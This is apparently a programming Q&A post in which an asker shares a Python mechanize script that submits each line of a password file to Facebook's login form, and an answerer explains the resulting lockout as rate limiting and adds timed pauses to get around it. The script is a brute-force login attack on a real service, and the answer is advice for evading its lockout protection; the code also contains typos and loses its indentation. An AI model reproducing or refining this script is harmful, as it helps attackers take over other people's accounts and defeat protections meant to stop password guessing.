I was locked out of my Facebook account for a few hours after I tried to make a script get my password (I already know my account's password). Do I have a problem in my python script, or is the way I tried to use it wrong?
Script:
passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
br = mechanize.Browser()
br.set_handle_robots(False)
br.addheader = ['User-Agent','Firefox']
br.open('https://www.facebook.com')
br.select_form(nr=0)
br.form['email'] = "emai@..."
br.form['pass'] = pwd
sub = br.submit()
print sub.geturl()
This error is straightforward. "trying too often" means you are sending too many requests in X amount of time. You should sleep
between iterations.
from time import sleep
passwordsfile = open('file.txt','r')
for pwd in psswordsfile.read():
br = mechanize.Browser()
br.set_handle_robots(False)
br.addheader = ['User-Agent','Firefox']
br.open('https://www.facebook.com')
br.select_form(nr=0)
br.form['email'] = "emai@..."
br.form['pass'] = pwd
sub = br.submit()
print sub.geturl()
sleep(5) # 5 seconds
Depending on the number of iterations you have, 5 seconds might not be enough. This is a matter of trial and error.